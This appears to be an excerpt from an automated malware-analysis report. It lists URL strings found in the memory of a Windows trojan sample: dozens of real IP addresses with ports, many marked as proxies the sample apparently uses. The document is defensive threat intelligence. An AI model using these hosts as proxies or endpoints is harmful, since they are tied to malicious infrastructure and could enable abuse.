Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.79.191.205:55919
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.79.191.205:55919://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC15B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.79.197.129:81
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.79.197.129:81://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.79.42.194:1389
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.79.42.194:1389://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.8.179.247:1337
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6467000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.8.179.247:1337://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:17639
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:17639://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:27855
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:27855://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:53288
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:53288://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:54393
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:54393://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:59421
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:59421://proxyP
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:9165
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.81.232.17:9165://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.89.230.174:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.89.230.174:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.90.104.150:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.90.104.150:9090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD5F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.93.17.108:3133
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://45.93.17.108:3133://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.0.203.140:4890
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.0.203.140:4890://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.0.203.186:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.0.203.186:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.10.209.230:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.10.209.230:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.100.10.3:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.100.10.3:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.102.134:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C667B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.102.134:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.13.77
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.13.77://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.13.77:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.160.223
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8374000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.160.223://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8374000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.160.223:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.186.238
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.186.238://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.186.238:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.19.131
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.19.131://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.19.131:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.210.101:48684
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.210.101:48684://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.223.220:3124
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.101.223.220:3124://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.105.35.193:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC5F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.105.35.193:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.105.42.230:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.105.42.230:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.160.129.189:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7582000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.160.129.189:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.17.63.166:4154
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.17.63.166:4154://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC62E000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.171.28.162:59311
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6566000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.171.28.162:59311://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.182.6.69:25295
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.182.6.69:25295://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.182.6.69:41041
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.182.6.69:41041://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E44000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.182.6.69:46383
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.182.6.69:46383://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.182.6.69:63049
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.182.6.69:63049://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.207.150:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.207.150:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.54.102:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.209.54.102:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.21.153.16:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.21.153.16:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.214.153.223:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.214.153.223:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.226.148.105:35198
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.226.148.105:35198://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.226.148.105:36366
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.226.148.105:36366://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.227.36.1:1088
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.227.36.1:1088://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.227.37.1:1088
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.227.37.1:1088://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.227.37.49:1088
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.227.37.49:1088://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.249.122.1:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.249.122.1:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.250.240.209:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.250.240.209:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.29.116.3:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.29.116.3:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.35.9.110
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.35.9.110://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.35.9.110:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.36.70.104:46964
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.36.70.104:46964://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.48.126.226:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.48.126.226:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.51.249.135:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://46.51.249.135:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB00D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.100.207.117:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.100.207.117:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.102.198.154:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.102.198.154:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.112.157.97:8060
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.112.157.97:8060://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.114.101.57:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.114.101.57:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.180.63.37:54321
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.180.63.37:54321://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.184.139.206:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.184.139.206:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.206.214.4:54321
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.206.214.4:54321://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA99D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.229.171.150:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.229.171.150:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.242.15.120:15673
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.242.15.120:15673://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.242.190.33:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.242.190.33:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.242.244.23:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.242.244.23:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C754A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9280000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.242.3.214:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C754A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.242.3.214:8081://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.243.114.192:8180
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.243.114.192:8180://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.243.177.210:8088
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://47.243.177.210:8088://proxy
